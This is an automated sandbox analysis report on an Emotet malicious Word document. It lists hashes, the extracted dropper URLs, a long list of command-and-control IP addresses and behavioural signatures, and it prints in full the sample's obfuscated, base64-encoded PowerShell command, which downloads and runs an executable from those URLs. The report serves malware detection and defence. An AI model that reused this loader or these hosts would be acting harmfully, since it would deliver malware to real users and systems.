Analysis
- max time kernel
139s - max time network
143s - platform
windows10_x64 - resource
win10v200722 - submitted
18/09/2020, 02:07
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_4b9a2688db3fd6465d84ee5baf9fbdf6c50772a16d3e7c265c758ae284e8a63d_2020-09-18__020516._doc.doc
Resource
win7
General
- Target emotet_e2_4b9a2688db3fd6465d84ee5baf9fbdf6c50772a16d3e7c265c758ae284e8a63d_2020-09-18__020516._doc.doc
- Size 175KB
- Sample200918-e1s2z6xn8e
- SHA256 4b9a2688db3fd6465d84ee5baf9fbdf6c50772a16d3e7c265c758ae284e8a63d
- MD5 e37cb2c204ac2218fac436d801adcafd
- SHA1 015aeda276a90b840a51be854d49fb9f30017f12
- SHA512 35a8b1942223d275b6563c567c60321f7749643f82fc6b20d95a6d77374a41262b4e8305ba1f7d9be48ee63d006f4b12cd2affaa3dd425d68b1ec159fe50dcf8
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://haikouweixun.com/jn5/Rbp/
-
exe.dropper
http://carolinacanullo.com/js/hllPT/
-
exe.dropper
http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/
-
exe.dropper
http://www.insulution.org/wp-admin/swift/swift/y318LGM/
-
exe.dropper
http://petafilm.com/calendar/6kOpwrt/
-
exe.dropper
https://dev.contractdevs.co.uk/hbbny/Kv9/
-
exe.dropper
http://blog.penmman.com/wp-content/uploads/1ECbn9K/
Extracted
-
emotet
-
71.72.196.159:80
-
134.209.36.254:8080
-
120.138.30.150:8080
-
94.23.216.33:80
-
157.245.99.39:8080
-
137.59.187.107:8080
-
94.23.237.171:443
-
61.19.246.238:443
-
156.155.166.221:80
-
50.35.17.13:80
-
153.137.36.142:80
-
91.211.88.52:7080
-
209.141.54.221:8080
-
185.94.252.104:443
-
174.45.13.118:80
-
87.106.136.232:8080
-
62.75.141.82:80
-
213.196.135.145:80
-
188.219.31.12:80
-
82.80.155.43:80
-
187.161.206.24:80
-
172.91.208.86:80
-
124.41.215.226:80
-
107.5.122.110:80
-
200.123.150.89:443
-
95.179.229.244:8080
-
83.169.36.251:8080
-
1.221.254.82:80
-
95.213.236.64:8080
-
181.169.34.190:80
-
47.144.21.12:443
-
203.153.216.189:7080
-
89.216.122.92:80
-
84.39.182.7:80
-
94.200.114.161:80
-
104.236.246.93:8080
-
139.99.158.11:443
-
176.111.60.55:8080
-
78.24.219.147:8080
-
220.245.198.194:80
-
62.30.7.67:443
-
139.162.108.71:8080
-
104.32.141.43:80
-
153.232.188.106:80
-
93.147.212.206:80
-
79.137.83.50:443
-
96.249.236.156:443
-
24.43.99.75:80
-
75.80.124.4:80
-
42.200.107.142:80
-
110.5.16.198:80
-
5.196.74.210:8080
-
110.145.77.103:80
-
200.114.213.233:8080
-
85.152.162.105:80
-
5.39.91.110:7080
-
109.74.5.95:8080
-
140.186.212.146:80
-
37.187.72.193:8080
-
97.82.79.83:80
-
139.130.242.43:80
-
201.173.217.124:443
-
123.176.25.234:80
-
104.131.44.150:8080
-
74.208.45.104:8080
-
139.59.60.244:8080
-
120.150.60.189:80
-
74.219.172.26:80
-
219.75.128.166:80
-
82.225.49.121:80
-
85.105.205.77:8080
-
24.179.13.119:80
-
74.120.55.163:80
-
174.102.48.180:443
-
219.74.18.66:443
-
168.235.67.138:7080
-
194.187.133.160:443
-
78.187.156.31:80
-
103.86.49.11:8080
-
61.92.17.12:80
-
24.137.76.62:80
-
104.131.11.150:443
-
79.98.24.39:8080
-
75.139.38.211:80
-
162.241.242.173:8080
-
195.251.213.56:80
-
37.139.21.175:8080
-
46.105.131.79:8080
-
50.91.114.38:80
-
121.124.124.40:7080
-
74.134.41.124:80
-
68.188.112.97:80
-
137.119.36.33:80
-
121.7.127.163:80
-
87.106.139.101:8080
-
94.1.108.190:443
-
169.239.182.217:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1916 3080 powershell.exe 73 - Emotet Payload 6 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2256-14-0x00000000004F0000-0x0000000000502000-memory.dmp emotet behavioral2/memory/2256-14-0x00000000004F0000-0x0000000000502000-memory.dmp emotet behavioral2/memory/2256-15-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/2256-15-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/420-18-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/420-18-0x0000000000570000-0x0000000000582000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 20 1916 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2256 Ru6ojr1ir.exe 420 mfsrcsnk.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDMAORI\mfsrcsnk.exe Ru6ojr1ir.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 732 WINWORD.EXE 732 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1916 powershell.exe 1916 powershell.exe 1916 powershell.exe 420 mfsrcsnk.exe 420 mfsrcsnk.exe 420 mfsrcsnk.exe 420 mfsrcsnk.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1916 powershell.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE 732 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1916 wrote to memory of 2256 1916 powershell.exe 80 PID 1916 wrote to memory of 2256 1916 powershell.exe 80 PID 1916 wrote to memory of 2256 1916 powershell.exe 80 PID 2256 wrote to memory of 420 2256 Ru6ojr1ir.exe 82 PID 2256 wrote to memory of 420 2256 Ru6ojr1ir.exe 82 PID 2256 wrote to memory of 420 2256 Ru6ojr1ir.exe 82
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4b9a2688db3fd6465d84ee5baf9fbdf6c50772a16d3e7c265c758ae284e8a63d_2020-09-18__020516._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:732
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARgAxADMAQwBcAGoAUQA4AE0AXwA0ADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAQwB1AGAAUgBpAHQAWQBQAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABLADcAcAA3ADIAcAB6ACAAPQAgACgAJwBSACcAKwAnAHUAJwArACgAJwA2AG8AagByADEAaQAnACsAJwByACcAKQApADsAJABCAGQAbABqAHEAdwBiAD0AKAAoACcASgBwACcAKwAnAF8AJwApACsAKAAnADQAJwArACcAdQBrAHIAJwApACkAOwAkAFoAdABtAHEAdQBpAHcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAUwBvACcAKwAnADUAJwArACgAJwBaACcAKwAnADEAaABmADEAJwArACcAMwAnACsAJwBjAFMAbwA1ACcAKwAnAEoAcQAnACsAJwA4AG0AXwA0ADUAUwAnACkAKwAnAG8ANQAnACkALgAiAHIAYABlAHAAbABgAEEAQwBlACIAKAAoACcAUwAnACsAJwBvADUAJwApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEsANwBwADcAMgBwAHoAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKAGEAcgA1AGcAdABwAD0AKAAoACcAUgBwADkAJwArACcAcQAyACcAKwAnAGMAJwApACsAJwB3ACcAKQA7ACQATABmADMAcABwAHcAZgA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAYgBDAEwASQBlAE4AVAA7ACQASwBvAGUAMQBlADUAMgA9ACgAKAAnAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBhACcAKwAnAGkAawBvAHUAJwApACsAKAAnAHcAZQBpAHgAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwAuAGMAJwArACcAbwBtAC8AagAnACkAKwAoACcAbgAnACsAJwA1AC8AJwApACsAJwBSACcAKwAoACcAYgBwACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYwBhAHIAJwArACcAbwBsAGkAJwApACsAJwBuACcAKwAoACcAYQBjACcAKwAnAGEAJwArACcAbgB1AGwAJwApACsAKAAnAGwAbwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGoAJwArACcAcwAvAGgAJwArACcAbABsAFAAJwArACcAVAAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AbQAnACkAKwAnAGUAJwArACcAZwAnACsAKAAnAGEAJwArACcAcwBvACcAKwAnAGwAdQBjAG8AZQBzACcAKQArACcAdAAnACsAKAAnAGkALgBjAG8AbQAvAFIAJwArACcAOQBLACcAKQArACgAJwBEAHEAMABPADgAdwAnACsAJwAvAEIAJwArACcAMwAnACkAKwAoACcASwAnACsAJwBxAFAAcABlAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGkAJwArACcAbgBzAHUAbAAnACkAKwAnAHUAJwArACcAdABpACcAKwAoACcAbwAnACsAJwBuAC4AbwByAGcAJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4AJwArACcALwBzACcAKwAoACcAdwAnACsAJwBpAGYAJwApACsAKAAnAHQALwAnACsAJwBzAHcAaQBmAHQAJwApACsAJwAvACcAKwAoACcAeQAzADEAJwArACcAOABMACcAKQArACgAJwBHACcAKwAnAE0ALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHAAZQB0ACcAKwAnAGEAJwApACsAJwBmACcAKwAoACcAaQAnACsAJwBsAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0ALwBjAGEAbABlAG4AZABhACcAKwAnAHIALwAnACsAJwA2ACcAKQArACcAawAnACsAKAAnAE8AcAB3AHIAdAAvACcAKwAnACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAnAGQAJwArACcAZQAnACsAKAAnAHYALgBjAG8AbgB0AHIAJwArACcAYQBjAHQAZAAnACsAJwBlAHYAcwAuACcAKwAnAGMAbwAnACkAKwAnAC4AdQAnACsAKAAnAGsALwAnACsAJwBoACcAKQArACcAYgAnACsAKAAnAGIAbgB5AC8AJwArACcASwAnACsAJwB2ADkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAJwBvACcAKwAnAGcALgAnACsAKAAnAHAAJwArACcAZQBuAG0AbQAnACsAJwBhAG4ALgBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHUAJwApACsAKAAnAHAAJwArACcAbABvACcAKQArACgAJwBhAGQAcwAvADEARQBDACcAKwAnAGIAbgA5ACcAKwAnAEsAJwApACsAJwAvACcAKQAuACIAcwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHMAdwBmADUAcwBqAD0AKAAoACcARgBfAHMAdwAnACsAJwA1ACcAKQArACcANwBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAbgBvADUAZQBxAHcAIABpAG4AIAAkAEsAbwBlADEAZQA1ADIAKQB7AHQAcgB5AHsAJABMAGYAMwBwAHAAdwBmAC4AIgBEAG8AYAB3AG4ATABgAG8AYQBEAGYAaQBgAEwAZQAiACgAJABGAG4AbwA1AGUAcQB3ACwAIAAkAFoAdABtAHEAdQBpAHcAKQA7ACQAWABnAGQAegAyAHgAdgA9ACgAKAAnAFIAaAB2AGEAJwArACcAegB3ACcAKQArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgB0AG0AcQB1AGkAdwApAC4AIgBsAGUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIANQA4ADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHQAbQBxAHUAaQB3ACkAOwAkAFUAbwBjAHkAbABpADYAPQAoACcAVQB4ACcAKwAoACcAaABhADUAJwArACcAawA1ACcAKQApADsAYgByAGUAYQBrADsAJABKAHQAdgAwADgAcQAzAD0AKAAnAEIAJwArACgAJwByAHcAJwArACcAOQBpAGEAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAzAGIAcwA5ADkAdwA9ACgAJwBHADkAJwArACcAMABhACcAKwAoACcAbwB0ACcAKwAnADUAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Users\Admin\Z1hf13c\Jq8m_45\Ru6ojr1ir.exe"C:\Users\Admin\Z1hf13c\Jq8m_45\Ru6ojr1ir.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\SysWOW64\KBDMAORI\mfsrcsnk.exe"C:\Windows\SysWOW64\KBDMAORI\mfsrcsnk.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:420
-
-